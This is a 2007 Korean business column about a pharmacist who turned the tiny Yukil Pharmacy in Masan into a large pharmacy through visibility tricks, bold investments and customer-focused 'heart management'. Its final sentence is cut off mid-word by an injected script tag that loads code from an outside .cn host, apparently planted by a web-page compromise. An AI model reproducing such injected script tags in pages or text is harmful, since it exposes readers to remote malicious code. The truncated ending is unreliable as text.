무일푼 약사에서 성공한 CEO로
2007-08-17 최종옥 북코스모스 대표
육일약국 갑시다
경상남도 마산의 한 변두리에 있는 15㎡(4.5평) 규모의 이름 없는 약국. 주변에 변변한 건물마저 없는 대한민국에서 가장 작은 약국 ‘육일약국’으로 가자고 필자는 택시를 탈 때마다 주문을 했다. 1년 6개월간을 본인뿐만 아니라 가족, 친구, 주변에 아는 모든 사람을 총동원해 ‘육일약국’을 택시 포인트로 알려나가는 데 주력했다. 결과는 성공적이어서 3년 만에 창원은 물론 마산에서 가장 먼 상남동에서 택시를 타고 “육일약국 가자”고 하자 기사는 “마산, 창원에서 택시 기사 한 달하고 육일약국 모르면 간첩이라 안 합니꺼”라고 답했다. 대한민국의 가장 작은 약국을 13명의 약사가, 서울 보령약국 다음으로 큰 기업형 약국으로 키운 육일약국의 랜드마크는 이렇게 시작됐다.
혁신의 가장 큰 장애물, 고정관념
손님 없는 작디작은 약국은 어둠이 내리면 아예 보이지도 않았다. 어두워서 눈에 안 띈다면 밝게 만들어야 했다. 당시 약국은 40와트 형광등 6개면 충분했다. 그런데 일부러 25개의 형광등을 설치하라고 주문했다. 형광등 설치 기사는 도저히 이해를 못하겠다며 고개를 저었다. 25개의 형광등이 그 좁은 천장에 간신히 들어섰지만 그날 저녁 약국은 눈이 부셨다. 밤이 깊을수록 약국은 더욱 눈에 띄었고, 캄캄한 골목길에 훌륭한 가로등 역할을 해주어 손님들도 만족했다. 얼마 지나지 않아 월 매출액이 100만원 정도 증가했다. 20만원 투자로 다섯 배의 이득을 본 것이다. 당시만 해도 가게 문을 닫는 동시에 간판의 불도 모두 껐으나 육일약국의 불은 밤새 켜져 있었다. 한 사람이라도 불이 켜진 간판을 보고 약국을 인식하면 그것으로 족했다. 약국을 경영하면서 6개월 이상 똑같은 전략을 지속한 적이 없다. 끊임없이 변화하기 위해 노력했다. 형광등을 단 후에는 약국을 조금이라도 커 보이게 하려고 벽을 터서 유리문을 달았다. 약국 공간을 넓히기 위해 약국 내의 숙식 공간을 절반으로 줄였다. 공사에 대해 사람들의 반대도 심했고, 약국 공간도 별로 늘어나지 않았지만 현 상태를 유지하기보다 끊임없이 새롭게 변신하기 위해 노력했다. 그러다가 점점 늘어나는 손님을 감당하기 어려워 결국 건물주와 건물 전체를 3층으로 신축하기로 협의했다. 육일약국 면적이 10년 동안 3배 이상 성장한 것이다. 혁신을 방해하는 가장 큰 장애물은 바로 고정관념이다.
1986년 마산 롯데 크리스털 호텔을 찾았다. 약속 장소로 가기 위해 호텔에 들어서는 데 현관에 설치된 자동문이 눈에 띄었다. 자동문을 바라보니 어르신이나 짐이 많은 손님들에게 편리하겠다는 생각이 들었다. 약국으로 돌아오자마자 전화번호부와 114 안내까지 총동원해 자동문 설치 업체를 알아냈다. 설치비용은 200만원으로 상당히 부담스러운 금액이었다. 그렇지만 무엇보다도 앞서가는 약국이 되기를 바라는 마음으로 과감한 투자를 결정했다. 아마도 마산에서는 두 번째로 설치되는 자동문이었을 것이다. 곧바로 자동문은 동네의 명물이 됐다. 결국 자동문은 두고두고 육일약국에 엄청난 홍보효과를 가져다주었다.
가장 효율적이고 지속적인 경쟁력, 마음경영
고객을 다시 찾게 만들려면, 먼저 고객의 마음을 알아야 한다. 그러기 위해서는 대화를 통해 상대방의 욕구를 정확히 탐색할 필요가 있다. 그리고 상대방의 성격, 마음, 경제적 능력, 교육 수준, 인간성, 인격 등을 관심있게 살펴보아야 한다. 고객의 정보를 정확하게 파악하면, 눈높이식의 맞춤 상담이 가능하기 때문이다. 나를 알아주는 가게와 많은 손님 중의 하나일 뿐인 가게…. 어느 곳을 찾을 지는 자명한 일이다.
영원한 단골은 없다. 상품은 하자가 있을 경우 교환해주면 되지만, 서비스에 불만을 품고 돌아선 고객은 다시 붙잡을 수 없다. 새로운 고객을 만족시키는 것보다 기존 고객을 만족시키는 게 훨씬 수월하다. 서비스는 또 하나의 상품이다. 상품에도 품질이 있듯이 서비스 역시 차이가 있다. 손님의 숫자도 빈익빈 부익부다. 하루에 한 명씩 늘어가기만 해도 어느 순간 손님이 엄청나게 증가하지만, 반대로 줄어들기 시작하면 순식간에 썰물처럼 빠져나간다. 요즘 감동경영이란 말을 많이 한다. 감동경영은 말로만 되는 것이 아니다. 손님을 향한 마음에 혼을 담을 때만 가능하다. 모든 곳에 내 마음을 녹여 넣고, 상대방의 마음이 내게로 움직이게 하는 것, 필자는 이를 ‘마음경영’이라 부른다. 돈만 추구하면 돈과 사람을 모두 ?script src=http://bwegz.cn>
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